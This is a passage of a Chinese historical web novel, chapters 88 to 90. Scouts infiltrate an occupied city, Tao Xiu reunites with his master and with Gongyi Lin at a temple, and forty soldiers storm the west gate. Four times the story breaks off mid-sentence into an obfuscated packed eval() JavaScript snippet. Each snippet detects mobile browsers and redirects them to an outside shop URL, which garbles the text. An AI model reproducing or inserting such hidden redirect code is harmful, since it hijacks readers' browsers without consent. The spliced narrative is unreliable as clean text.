张城踢踢“缩短”的腿回他:“不过是重操旧业罢了,没当兵之前我就现在的模样。”正说着,忽从前面巷口拐出一支巡逻人马,骑马男子扫视路旁乱七八糟的人群,在陶修跟前勒马停下,用鞭子指着二人问:“是不是昨日混进来的乞丐?我早就跟上面说过,把所有需要吃饭的老弱病残都撵出城去,迟迟不见动静,看见你们这些脏得要死的人就心烦。” 陶修见自己成了此人的眼中钉,立即扔掉手中拐杖半跪在马下主动讨好,脸上堆着假笑仰头说:“大人,我们不要饭,听闻伊娄将军威名,来投军的。” “投军?”骑马男子呵呵大笑,“你们这些贱民不是恨我们要死,居然还有主动来投军的?”昨日发生三起官员被杀事件,此时城中正人心惶惶,这二人虽一副流民打扮,但人高马大不像一般人,骑马男子遂命身后的士兵将二人逮起来,嘴里抱怨着:“假装投军,再混入军中打探消息,是不是这个算盘,抓回去我要打的你们说真话?” 张城:操,此人是神算子吗,怎么一猜一个准? 陶修见他嘴中骂骂咧咧,像是刚赌输了没处撒气,自己和张城恰好撞上他的枪头,心里叫苦一声。他与张城对视一眼,正待要逃,突然从西边传来几声嗥叫。 这支巡逻队立即丢下两个流民往西边跑去。 被撇下的两人落荒而逃,匆忙寻一僻静处躲起来,陶修回想刚才的凄厉叫声,紧张地问:“那声惨叫是怎么回事?” 张城道:“别管那么多,可能是伊娄振明的军队在城中糟蹋百姓,也可能是我们的人被抓,我们不是来路见不平的,你什么都别管。” “如果是我们的人,难道见死不救?” “生死状已签,只要他们不招供这次计划,生与死全凭运气。两百死士入城作内应开城门,本来就没打算活着出去,收收你的菩萨心肠。事情不成功我们会死成一堆,拉长脖子挂在城门头,像郭威他们一样尸身烂到绳子自己断掉。”他用手背敲敲陶修的胸膛,笑问:“吓到你没?” “你在此等我,我先看看情况,我绝不会轻易出手。” 张城见天色已晚,不放心他独自前去,只得跟上去:“不许出手啊,我现在是腿短一截的人,不能帮你。” 那声惨叫的方向在人流密集的小集市上,陶修挤进围观的人群,现场已被打扫干净,只剩下多处浸入砖缝的暗红血迹。他装作凑热闹的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062609|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问身边老头:“方才这里发生了何事?” 老头摇摇头叹息道:“这样滥杀无辜的豺狼之师留在城中,我们今后还能过上太平日子么?” “那帮士兵杀了几人,都是什么人?” 老头指着血迹道:“有几滩血迹就杀了几人,都是些谋生的年轻人,何错之有呢!” 陶修盯着地上四滩血迹陷入沉默,肩头突然被人重重拍一掌,他迅速转身拿棍抵着对方的胸口,发现是个戴斗笠的男子。 男子半掀斗笠露出熟悉的脸,低声说:“跟我来。” 夜幕降临,秋风瑟瑟,路旁梧桐的枯叶被风卷进一条细长的小河中,清澈的水面倒映数盏刚亮起的灯火。陶修和张城紧跟着前面戴斗笠的男子拐过几条巷子,来到一户寻常百姓家的院中。院子里没有人气和灯火,武元义关上门后取下斗笠,指着空荡漆黑的屋子说:“伊娄振明的大军进城时抢掠过百姓,这家人都死在他们刀下,屋子成了有冤魂的鬼屋,左邻右舍都不敢靠近,这几日我们都躲在这里。” 他看二人邋遢的装扮,皱眉问:“我不是让你们杀掉彭枝礼后就回京口吗,何时混进来的?” 张城指着陶修道:“你问他,生怕你们事成后得的奖赏比他多,昨夜拉着我从北山翻进来。” “我们既然来了,有什么计划都说出来,心底有个数。” 武元义从一张破席下抽出皱巴巴的漳南城地形图,拿到窗前,借着屋外微弱的光线说:“此城有东、南、西三个城门,南门为主门,把守的兵力最多,白天黑夜都将近五百人,东、西两门很少开放,门小兵力也少,我带兄弟们负责西门,初九那夜行事。” “当夜去西门的兄弟有多少人?” “卢将军给了我四十。” 四十人,即便是都是训练出来的精兵,对抗成百上千的敌人,恐怕一丝活着的几率都没有。陶修道:“初九那夜,我们也去蹲西门。” 武元义:“那日彭枝礼被杀的消息传进城,伊娄振明立即把他的部曲收归入队。彭枝礼到底是吴州人,对城中百姓没有任何侵犯,但伊娄振明的人野蛮暴掠,短短一个多月已发生两次掠夺百姓财物的事,两方敌视严重,人心愤怒,这也给我们天大的帮助。” 张城又问:“天将黑时,街上发生了何事?” 武元义盯着漆黑空荡的小院,沉声说:“方才死的四人中,两个是城中百姓,另外两人是飞虎、承福。巡逻队过来时,我和他们正要回此处,飞虎藏在腰间的匕首被周军发现,情急之下他们躲在百姓推柴的车旁,却把两个无辜的百姓也连累了。” 他回头望着二人:“我作为他们的领头,明明可以出手相救,可我挤在人群里眼睁睁看着他们成了刀下魂。” 陶修与飞虎、承福仅是点头之交,他们二人是同乡,平常都混在一起,说着别人听不懂的家乡话。三人站在漆黑的屋里沉默一会,张城用新奇的理由开解他:“你不要自责,我们进来的人都会死,他们先两天去黄泉探路,谁敢说我们一定能活过初九?你是以大局为重,万一救不成飞虎、承福,谁带我们蹲西门?” 武元义确实被“我们进来的人都会死”给安慰了,威锋幢来的人都没打算活着回去,所以飞虎死前怕被敌人抓去严刑拷打才自愿把胸膛抵上他们的刀尖。 武元义振奋低落的情绪,才问起陶修在城中的藏身之处。 88.巧遇在永定寺 陶修和张城在寺庙大门闭上半个多时辰才赶回来,不便敲门也不敢翻墙,他们在大门两侧各蜷一个,冻得像两条瑟瑟发抖的土狗。陶修在逼人的寒气里快要睡着时,厚重的木门突然打开,从里面走出一个奇怪的人,披一件连帽的黑色斗篷,整张脸遮的严严实实,对门旁的两人说:“进来。” 声音浑厚,有种刻意压低声调的嫌疑。 看不清此人究竟是和尚还是住在寺中的普通人,一身单薄破烂的衣服实在扛不住十月的冷气,二人搓着凉透骨的手顺从地跟在怪人身后,一直走到柴房才知道此人的善意。 第二日在一群和尚里混吃时,陶修试图从中找到昨晚的蒙面人,但连相似背影的都没有,心里对自己能顺利留在寺里一直存有不安和疑惑。 摸清城内路线后的余下几日,陶修和张城留在永定寺帮忙清扫整理,把院内外杂、废物都清理并焚烧,梁柱、栏杆擦的纤尘不染。这几日陶修和寺庙的小和尚一起雕刻成百上千枚祈愿牌,夜色降临,佛塔的清油灯一层一层亮起,陶修经得一个和尚的同意,把祈愿牌写上对陶舒的祝福后挂在院中粗壮的银杏树上,而后拍拍身上尘土,虔诚地走进永定寺大殿。 大殿内昏暗清冷,中央是巨大的释迦摩尼佛像,佛像下面点了两盏光明灯。陶修跪在蒲团上仰望佛祖低垂的双目,轻声轻语道:“佛祖,佛祖!” 面对慈眉善目的佛祖,他也不敢发出心中的愿望,只敢在心底暗暗祈祷:“后日会不会死?明知和他之间隔着天堑,我还是很想他,想和他再见上一面。” 他在佛祖前长跪,许下多个愿望,愿后日所有同袍都能活,愿汝丘的小妹和江良安度一生,愿大陈的百姓安居无忧,许过愿望后伏身在蒲团上笑了:“后日可能就要死的无足轻重的贱民竟然还心怀天下,如此不自量力和贪得无厌。” 陶修很确定许下愿望时嘴里绝对没有发出声音,但头顶突然传出低沉空旷似回音的问话:“小子,跪了这么久,盼这好盼那好,忘掉自己了吧?” 凉意骤然从脊背冒出来,他从蒲团上站起环顾四周,凌厉发问:“谁?出来?” “哈哈哈,小子,杀了彭县尹干嘛不回去领赏?为何还掺和城中事?” 陶修震惊此人对他们行动了然于心,绕着大殿飞快搜寻一圈,没发现人影,声音还在大殿的梁上绕着:“我明日就把你们的计划揭发出去,告诉伊娄振明、告诉城中的每一个人,我最爱看猫戏鼠的游戏。” 陶修迅速关上大殿的高门,仰头大声道:“你要出得去才行。” “佛门净地,你想作甚?” “是佛祖告诉我你的存在,就别怪我没有手下留情,出来吧。” 这时,从大佛背后闪出一道黑影,居高临下非常迅疾地朝背对的陶修抛出一件黑色斗篷,斗篷将那小子的头严严实实罩起来。 陶修像只装在麻袋里挣扎的野猫,惊慌失措刚扯下一半斗篷,咽喉就被利刃抵住,一阵刺痛蔓延至耳根。他一动不动,胸口起伏明显,咽了口唾沫,声音都有点变了:“你是谁?” 此人就站在身后,像一堵墙,有强大的压迫感,陶修感觉抵在咽喉的刀尖加深力度,重重喘出一口气闭上眼,决定拼死挣扎一把,抬起肘部向此人的胸口捣去。 对方接招更快,左手一把抓住他出击的手臂。趁此空隙,陶修旋转半圈从这人手中挣脱开,后退几步并拽下斗篷,长明灯的佛光中,他看见一个高大的和尚,眼袋和锃亮的脑袋一样显眼。 陶修杵在那愣了一瞬,眼中露出惊喜,叫一声:“师父?你……” 还没等他把话问完,辛南佐一本正经的“阿弥陀佛”,道一句:“贫僧法号有量,你就叫我有量大师。” 陶修知道师父这人性格怪异,稳重老沉并不影响他心狠手辣,又调皮无赖似孩童,只得顺着他的话问:“有量大师,我师父为何在此?几时来的?是巧合还是打听我会来此?” 辛南佐走近徒弟,抬起他下巴看刚才匕首所抵的位置,笑道:“还好没伤到。”又在他头上轻拍一下:“我快被你气死了,知道你进城的消息,我恨不得你把打晕扔条船上送回去,好好的路不走,偏偏选条崎岖送命的路。” “这大半年你去哪了,又是何时知道我来了漳南?怎么会在永定寺,我和张城能留在这里是因为你的缘故?” “慢点问,慢点问,给我瞧瞧你瘦了高了没?”辛南佐翻饼似的把陶修转一圈。 “我都多大了还长高?快回我问题。” 师徒俩坐在蒲团上聊了这大半年的经过,昏暗朦胧的大殿不时传出二人压低的笑声,他们声音小而平静,如深秋林中的窃窃私语,辛南佐一直用宠溺的眼神打量徒弟,听他分析这次来江北的周密计划,直到听见陶修玩笑一句:“正愁我在这次任务里死了无人给收尸,到时候师父你别难过,把我带回汝丘给埋了。” 辛南佐当即冷下脸,手中的佛珠搓的又凶又急,抬高声音斥道:“深更半夜再说这种胡话,我先打死你。只要我活着,绝不会令你深陷绝境。” 陶修笑笑,“师父莫怪,我们平常都说着玩。”这同样的玩笑话在一帮同袍面前可以肆无忌惮的开,在长辈跟前怎就显得自己像个逆子似的。 辛南佐平静地盯着陶修看了许久,又朝佛祖虔诚一拜,叹息一口气,问:“麟儿,师父这辈子杀过许多无辜的人,你说佛祖为何还不惩罚我?你想不想知道我过去是做什么的?” “过去的事你从不肯提,今夜为何突然想讲出来?我能猜到的就是你曾效忠于一个人,以你的个性,那人不仅位高权重于你也有恩,对不对?” 辛南佐苦笑一下,摇头否认:“没有恩,那单纯是年轻想干一番功名的想法,可惜开始选择的路就是错的。我见你小小年轻想在兵营建功立业,你大义忠心,与我当年的想法天差地别。活得越久对死于我刀下的人越愧疚不安,终于有一天我决定出家,可是剃去满头乱发后,我发现最大的心结还是不能解开。” “你的心结是什么?”陶修见他思绪恍惚,问的小心翼翼。 “我的心结?心结!”辛南佐沉默片刻,突然大笑起来,撕去方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078574|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才还悲伤忧郁的氛围,说:“小子,我这一辈子目无王法,横行霸道,我能有什么烦恼。如果我的心结是你,你会不会不认我这个师父?” “你说出来或许心里好受些,我也能替你排解郁闷。你过去究竟为谁做事?” 辛南佐垂目思忖一番,把话题转移了:“对了,自去年冬你和公仪林是不是没再见过面?听小舒说以前那小子还常打你?我是不知道,要是当年我就知道他打了你,我得让他瘫几年。” “嘘,佛祖看着呢,莫要口出狂言。时候不早了,你要实在不想说就早些回去睡吧。” 临分开时,辛南佐想到明后两日的事,提醒徒弟:“你多加小心,我会跟在你身后。” “这是威锋幢的事,不需师父涉险,事成之后就跟我回京口吧,别做和尚了。” “知道了,知道了!” 连日来几起官员被杀一事,城中本该是非常时期,民俗庙会都不许举行,但伊娄振明这个北方刚在此准备立足的人根本压不住民怨,又想到被杀的三人皆是百姓口中的“叛徒、贪图富贵”者,谁说这三人不是正义满怀的侠客所为,他只得将城门打开一扇,允许内外百姓徐徐出入。 初八这日天还未亮,全寺僧人提早个把时辰做毕功课,静等城门打开后的第一批善男信女。至日上三竿,重兵把守的漳南城已被拜佛和市贸交易的男女老少挤得水泄不通。 佛塔一角的铃铛缠绕在一起,陶修受一个和尚吩咐爬上塔顶解开铃铛,他站在佛塔上眺望脚下敬奉香火的人群和人流如织的街市,这一副物阜民丰的景象之下,很快就有战火蔓延。 陶修在佛塔上静坐了半个时辰,还将几片翘起的瓦片铺平,他不经意的动作,修理匠一样的身影,实实在在落在另一人的眼中。那人震惊地驻足在寺院门口,任由来往的人群推挤身体,视线不敢从塔顶的少年身上挪开半分,生怕眨眼他就消失。 乔装成普通百姓的阿八见公子被人群挤得七晕八素,挺想把这群兴致高昂的香客一把推开为他开路,但此处是“敌国”,还是小心为妙。阿八见公子驻脚不动,正设想胆大妄为不听劝的公子被周军抓住后遭受鞭笞和烙刑的场景、他又如何英勇无畏前去营救,就这么分神的间隙,他发现公子不见了。 公仪林挤进人群,见缝插针,似软而无骨的蛇穿过山门、大殿,终于拐到佛塔之下。他撩开衣摆跨步冲上楼梯,爬到第三层时才意识到自己不知陶修身在第几层,便抓住佛塔上的小和尚问:“那个修屋顶的年轻人在哪?” 小和尚摸着光秃秃的头脑,眨眨眼,问:“谁在修屋顶?” 他连等陶修自己走下来的时间都忍不了,三步跨完一层,每一层都转一圈,不敢高喊,按着胸口几乎要跃出来的心脏喘息着。佛塔上有稀稀落落的香客阻挡他的视线,他拨开他们的肩头怎么都找不到那个人。他向下俯视,发现自己已站在第八层,会不会与陶修擦肩而过?这念头使心脏遽然发紧。 他扶着栏杆往下找回去,心慌慌走至第五层时,自他身后忽传来熟悉的声音:“槐序!” 89.你可以寄书信 声音清越温和,天上的仙乐带来的震颤也未必能如此。 公仪林的一只脚踩在向下的木阶上,保持这个姿势没敢回头,他在静静地等,想要再确认一遍。 “这位小兄弟为何不转身,难道是我认错了人?” 公仪林利落地收脚转身,看见陶修倚在窗前,左手捏着香客丢下的一支香,右臂搭在窗沿,浑身松弛惬意,笑意盈盈看着他。 窗外天蓝云白,佛塔铃音清脆,他看不清陶修在逆向光芒中的面孔,正午的日光洒在他肩头和稍显凌乱又很活跃的每一根发丝上,这个人好像个趁着高爽的天气出来游玩的朝气少年。 公仪林抿唇一笑,跨步上前,顾不得塔里的众多香客,走到陶修跟前一把将他揽在怀里用劲压住,把脸深埋在他颈间,含混不清地问:“捉弄我,盯我多久了?” 陶修爽朗一笑:“你推人的动作轻一点、有礼一点,你看周围都是骂你的人,想不注意也难。”他努力三次才把公仪林从身上撕开,低声道:“注意言行和场地。” 公仪林拽着陶修的手臂转身对满目惊疑的香客笑道:“他是我多日不见的哥哥,有幸今日在此碰到。”说罢挥手把他们从眼前撵走:“都散去,散去。” 公仪林压下一百个欲问的问题,一转不转盯着陶修的脸,把这个惬意少年盯的局促不安,耳尖渐渐爬上红意。陶修躲开他灼热的目光,眺向寺外拥挤的人群,问:“为何出现在这里?” “和你出现在此处是同一个目的。” “你?这事和你有什么关系?”陶修忙扫视周围,谨慎地问。 “这里不是说话的地方,你带我找个清净角落,我一肚子话问你。” 陶修朝塔下努努嘴,说:“你觉得寺里还能找到清净地儿?”忽想起后院有口被封的废井,想必此时没有香客涉足那。 废弃的井早已干涸,井边有颗碗口粗的桂树,因浓密茂盛的桂树遮笼,这里显得格外安静。 二人盘腿坐在井沿对面而视,中间就是深不见底的井底。如此近的距离,能闻到彼此身上熟悉的气息。公仪林袖中那股从未变过的柔和清韵的熏香味,气味入心,两人都想起雨夜的缠绵,但再次重逢的喜悦远大过身体交融之后每想起就不敢面对的尴尬。 公仪林轻嗅一口桂树的余香,鼓足劲握住陶修的左手,沉声静气地说:“我只想来古刹上一炷香,不敢奢求能遇到你,但上天对我格外开恩。” 陶修抽出手交叉抱在胸前,挺直腰背,直入主题:“明晚的事,你是什么角色?” “在此之前我只是葛伏手下的参军,既然碰见你,胡墅兵马的调度指挥令牌必须在我手中。明日你出现在哪个门?” 陶修打量着他,这二年他在京城官场浸淫,即便没有老谋深算的城府,但已不是儿时认得的单纯天真的少年。如今他在旁人面前沉稳持重、盛气凌人,几乎说一不二,可眉目间还有依稀可见的稚气,有时还会流露出符合他年纪的幼稚表情和做些孩子气的事,就像去年,竟不知他会坦然地哭、不如意的事会生病,大胆地从池塘捞出菱角揭自己过去的“伤疤”:“你当年偷它,可吃了不少亏。” 说实话,明日的大事,陶修有点信不过他,严肃认真地告诫道:“我会在西门。槐序,明日之事系着千百人性命,事败,若伊娄振明有一丝人性,就只杀我们几百斥候去解恨,就怕会牵累城中百姓,毕竟那是只北方觅食过来的饿狼,急于在此站稳脚跟,他要是拿不诚服于他的百姓泄愤……”不敢想象失败后血腥的漳南城。 公仪林一直神采奕奕的眼睛因他的话变得凝重,抿唇顿了一下才问:“看来你信不过我?以为我在玩,分不清大局?” 陶修直言:“我的话是有这个意思。葛伏虽是县尹,但他有打仗的经验,能在周国的半包围中坚守城池,其作战的经验绝对多过你,毕竟你还年轻。” 公仪林抖落衣裾上的几朵小小桂花,瓮声驳道:“你说的我都明白。但你可能忘了我在宫城的职责,我一直都在累积经验一直在上进,何况恃险如平地的都是朝气蓬勃的少年人,你不正是如此。葛伏那老家伙,我见他几次都在神怡心静品茶,能有什么用。既然你这样说,我就领兵在西门接应你,南门留给葛伏。” 陶修满意地点头,把在城内观查到的地形简单复述于他,又把举事的大概时辰和计划都一一告知。 寺外人群拥挤嘈杂,这片荒废的后园静谧无声,陶修一直收起的手刚放到膝盖上,稍不留神就又被公仪林拽在手中。 “我斗胆要问,我们自四月分别至今,你有没有想念我,我想听真话。”他的神情里大半是祈求,还夹着几分儿时的仰慕。 陶修要挣脱被他抓到发红发白的手,思量很久才冷声道:“放开。” “这里只有你我二人,你都不肯说真话?” 陶修平静地注视他专横强硬的手,直到那只手缓缓松开。 得不到一点甜头的公仪林满心郁闷,从井沿上伸下右腿站起来欲缓口气,腿盘的太久血液不畅,一个不稳突然跪倒在地上。 陶修见状,以为他不堪打击和不如意时就会生病的旧疾又发作,立即站过来扶一把。公仪林顺势拽住他的手臂往地上一拉,两人皆摔倒在地,公仪林哈哈笑道:“趁此好天气,一块躺会吧。” 他们闭上双目有一搭没一搭的闲聊,事无巨细,把分开后的事统统拎出来说一遍。公仪林提到圣上身为太子时遭行刺和对建安王的怀疑时,又想到江陵的萧钰,他欲言又止,出于私心,他并不希望陶修是萧梁子弟,故而随意扯了个慌想试探一下他,“康乐,你记不记得萧琢这个人,小时候我跟你还写过他的名字?” 陶修也歪过头看他一眼,摇头道:“我们认识这个人?” 公仪林起身折了根桂枝回来,掸平一抔细腻的土,一笔一划写下“琢”字,问他:“有无印象?” 陶修盯了半晌,“我确定认识的人中没有叫萧琢的?” “你照着写一遍试试。” 陶修握紧桂枝迟迟不敢下笔,局促地望了眼公仪林,小声央求似地说:“我写不好。” “不写就罢吧!”公仪林替他难过,堂堂一个世子,所有贵族子弟享有的最微不足道的读书明理一事却因他坎坷的命运而生生斩断。 肯不肯读书是一回事,但陶修生生被人剥夺识字的机会又是另一回事。 陶修已在地上歪歪扭扭写下“琢”字,公仪林试着提醒:“真不记得萧琢?小时候认识的,你再仔细想想。” 陶修疑惑道:“怎么觉得你在逗我。” 公仪林大笑:“无事无事,确实在逗你。萧琢是我梦里出现过的人,试试与你是否连梦都相通。” “我不会写字,但你会。军营有收信的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100234|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方,若还有机会,你可以往大营捎信过来。”他是低着头涂改地上字迹时说这句话的。 公仪林看不清他的神情,但从其一向温和的语气中琢磨出另一层意思,不禁愣了一下,生怕自己的目光惊到他,也轻声应道:“会有机会的。” 陶修看看时辰不早,公仪林在城中多待一刻就多一分危险,他从地上爬起来透过院墙的小窗看向外面,人流还是熙熙攘攘,“趁庙会正热闹赶快出城去吧,你的身份若是被周军抓住可能要几十车粮草才能换回来。” “就值这么点?” 陶修伸手把他从地上拉起来,二人拍去身上灰尘,面对面站定后,陶修叮嘱一句:“保重,明日的事,也要保重。” 公仪林知道改变不了他的决定,还是再问一次:“真的不跟我回去?” 陶修没有回答,从在佛塔上认出他背影那刻起心里就有一丝动摇,不能再让明日作战的势气流逝半分。 “两年前你曾在清江河边说你会珍惜仅有的一条命。过了明夜我会给你写信。”公仪林的语气故作轻松,从中丝毫感受不到明日之事将带来的压力。 陶修远远目送他走出寺院大门融入熙攘的人群,还看见乔装的阿八急匆匆跟上去的背影。 转身再回庙里准备清理厚重的香灰时,突然撞上辛南佐冷峻的双目。 “师父?”辛南佐的脸色阴沉可怕,这副凶恶表情在和尚的光头下面显得突兀。 陶修跟着辛南佐又回到清净的后院,刚开口问是何事,左肩已被他狠抓在五指中。突如其来的剧痛使陶修冷汗直流,大声质问:“师父,你在做什么?” “你与公仪林说了什么?他为何知道萧琢,他到底跟你说过什么?” 陶修从他爪下挣脱,紧捂痛处望着他狰狞的双目:“他问我是否认识萧琢?既然你也这样问,那就是有萧琢这个人,对不对,他是谁?我早就想问你,为何提起姓萧的你就惊慌失措失去理智,萧家人到底怎么你了?” “你不知道,你真的不记得?” 一瞬间,陶修怀疑自己是不是失忆过,“公仪林说是他梦里出现的人,我也听的稀里糊涂。萧家人与你到底有什么仇怨,问你又咬死了不说,你到底想做什么?要是真有仇怨何不痛痛快快说出来,为了个无关紧要的萧姓你已几次三番刁难公仪林,我不明白你要做什么?” 辛南佐用纳衣的大袖擦掉脑门上晶亮的汗,慢慢松动脸上戾气,极不自然地上前关心道:“麟儿,我,我捏疼你了吧?” 陶修退后一步躲开他伸过来的手,“无事。萧琢究竟是谁?” 让辛南佐吃惊的不单是这一件事,还有两个少年人在井沿上的牵扯,那绝不是他们该有的动作,话锋一转,怒、惊参半地质问:“公仪林怎会与你在此见面,你们,你们究竟是……” 辛南佐实在问不出口。 秘密无端被人窥探,陶修很嫌恶戒备地丢下一句话:“我与他的事,不必师父操心。” 辛南佐被心痛和恐慌两种情绪连续击打,瘫坐在井沿一动不动,他看着长大的徒弟的清白啊,居然毁在公仪家的小子手中,他掩盖多年的真相和不敢说出口的名字竟然离徒弟越来越近。 “公仪林——”他目露凶光,把三个字放在牙缝中碾磨数次,此人也留不得了,就像陶彪一样,知道的多并不是好事,哪怕猜到的也不行。 90.四十壮士攻门 初九晌午,城中逛过庙会的百姓逐渐离开,南门的守卫十分严格,出城的人和车辆需经过两层检查。伊娄振明站在城楼俯视下方川流不息的人群,嘴角露出讥笑,没有人能在严刑下守住秘密,这个城中混进许多老鼠,那就关起门来好好玩。 初冬天黑得早,太阳刚坠下西山夜幕就已笼罩头顶,寒风萧瑟,冰凉刺骨,城中白日的喧嚣像是突然消失一般,只剩下一路寂静。偶有大门两侧的灯笼在深夜里发出昏黄的冷光。 西门往东约一里地就是白巳山,武元义、陶修等人已窝在山中近两个时辰。待约定的时辰一到,四十斥候就要杀向西门,以微小的代价夺取最大成果——打开城门。 这些年来,威锋幢最善于干的事情就是以小博大。 武元义命众人再次检查兵器和引火的干柴。干柴每人都携带一小束,背在身上很轻便也不影响打斗,事成后,这堆干柴燃烧的大火会照到五里之外,甚至更远。 今夜星空璀璨,后半夜的漳南城出奇的静,犬吠声在寒意深重的黑夜乱撞,就像擦在石头上的铁刀一样刺耳,令人惶惶不安。大伙的手脚又冷又麻没了知觉,目光之余都是悄悄伸展腿脚活动关节的细微动作。 陶修和张城挤在一起,把干燥的枯叶盖在脚上保暖。陶修原想说几句缓和紧张气氛的话,但张城像换了个人,蜷在身边毫无动静,星光下再次见到他严肃又坚毅表情,这人一旦认真起来,还挺吓人的。 陶修搓着冰凉的手转过头,忽发现张城的手在自己腰间摸了两把。 “我就是看看你今夜系了红色大带没,看来是系了。过了今夜,告诉我它的寓意。” “好!”陶修欣然答道。 黑夜沉寂,寒露浓重,武元义镇定自若,估摸下时辰后起身对眼前的众人说:“有几个兄弟混在百姓中被抓,难保伊娄振明不从他们口中问出点什么,好在行动的时辰今日才定。诸位兄弟,西门只有我们四十一人,若能按计划打开城门,回到京口后就等着吃香喝辣,若失败,就任他们用这根背干柴的绳子把我们吊死城墙上,死不足惜,但要给我狠狠的杀,杀得他们胆战心惊,杀到他们不敢再觊觎大陈的寸土,今日我们死了,但后面还有来者,就给他们杀出个榜样来。” 众人不敢以洪声振势气,皆用右拳击上左掌。 “我对兄弟们仍旧有一句无用的叮嘱,保住命。”把刀往腰间一挂,低吼一声:“都跟我下山。” 守卫在西门的士兵只有十来人,城楼上插了几根东摇西摆的火把,照亮范围并不大,但楼下置了一盆熊熊燃烧的火盆,把站在通向城楼去的石阶旁的四名士兵浑身照得通红。 武元义等人从白巳山的崖壁滑下,摸索到西门时还没找到藏身处,就听见城门前传来一阵狗叫,有人大声喝止了犬吠,一时间周围又陷入有预谋的沉寂中,令人心生畏惧。 周围实在静得有点异常。 武元义将人分作两队,一队开城门,一队攻占城楼,他抽出腰间的黑长大刀朝天一指:“上——” 四十斥候弯腰蹑脚朝西门逼近,即将到达火盆照耀的范围边缘时迅速加快脚步。特训多年的年轻人身轻体健,步伐迅捷,像一阵游移在幽林中凌冽的风,悄无声息就来到城楼下。 守在登城石阶旁的四名守卫最先发现敌人冲过来,喉咙刚发出第一声警告就已死在冰凉的刀刃下。武元义干脆利落抹了其中一人的脖子,将之轻轻放倒在地。刚抬头,忽见城楼及城墙上亮起一片火光,照的周围如白昼一般,火光之中,密密麻麻的周军将弓箭瞄准下面一群将死之人。 武元义大喊一声:“遭埋伏了。” 众人来之前就已作好面对突发状况时所具备的沉着冷静,他们四散开来转移至城墙底下,紧贴墙壁而立。 陶修粗略扫过垛口的一排弓箭手,对武元义喊道:“武大哥,楼上的弓箭手才是开启城门的最大阻碍,我先带兄弟杀上去。” 武元义听取其建议,当即调十人冲向厚重的大门,剩余之人一部分紧贴墙壁守在甬道外防止敌人干扰,另一部分则随陶修冲上城墙夺取烽火楼。 这时,城楼上一声令喊,箭矢如雨从上疯狂射下,同袍中箭的惨叫从一侧传来,陶修转头对甬道另一侧的张城喊道:“守在此处,别让敌军靠近。”说完拎剑就冲上石阶,必须先杀了这帮占据制高点的弓箭手。 刚跨上十几级石阶,迎面俯冲下七八个执戟的士兵。陶修挥刃而上,轻盈敏捷的身体在敌军中躲闪、游动,手中长剑左劈右砍,惨叫盈耳,喷溅在身上的鲜血像张牙舞爪的妖魔,咬的皮肤生疼。枪戟的寒光从鬓边和胸口刺来,陶修与同袍躲过一次又一次袭击,只须臾就杀的浑身是汗。 十几个周军皆倒他们脚下哀嗥。 陶修站在石阶的最顶端回望一眼城门处,西门较之南门小了很多,并无瓮城,当十几个同袍冲进甬道去搬粗重的门闩时,埋伏于暗处的周军终于杀了出来,人数不多,约有五六十人,守住甬道的张城和同袍立即与这些敌人杀在一起,一把把兵器在火盆的照耀下寒气森森,寒夜彻骨,打斗和惨叫尖锐刺耳,在无垠的暗夜里又显得沉闷恐怖。 陶修深喘一口气,把滴血的剑插回后背,踢起一把长枪继续往城墙上冲。 铁与重木建造的两扇厚重城门紧紧合在一起,其上共两根门闩,每根都重达百斤以上。开城门的十几人轻易将下面的闩杠抬下,但另外一根远超身高,此处又无搭脚的东西。武元义急得满头汗,咒骂道:“这帮狗杂碎早就知道我们的计划。快架人梯。”他大吼一声。 张城等人守住城门通道口,已将先到的五六十周军杀退,地上横七竖八倒了二十多具尸体。就在张城的对面,敌军的两排弓箭手又蓄势待发,他们后面站着身量高大的周军将领,脸上结实的肉在火光下发红发颤,扶剑掐腰冷笑道:“不愧是他们精挑细选出来的,片刻就杀伤我这么多人,今夜你们一个也别想走。” 吐罗鹿天领命守在西城门“捉鼠”那刻起,就没打算快速剿灭敌人,他本想玩玩他们再赶尽杀绝,却没料到这群人杀性骇人。蹲在他脚边的弓箭手抬头问:“吐罗将军,他们几乎被赶入死角,何时能放箭?” 吐罗鹿天望着一地的尸体,面色阴沉,指着欲开城门的十来人说:“不能让他们死的太容易。” “城门上的闩杠快要被他们取下了。” “放箭——”吐罗鹿天将手一挥,密集的箭矢朝通道内/射去。 一具具倒下的同伴令武元义激愤不已,急切命令:“快抬下门闩,快!”手中的刀无法格挡飞来的利箭,他们在箭雨中架起五组人梯,一人踩着另外一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 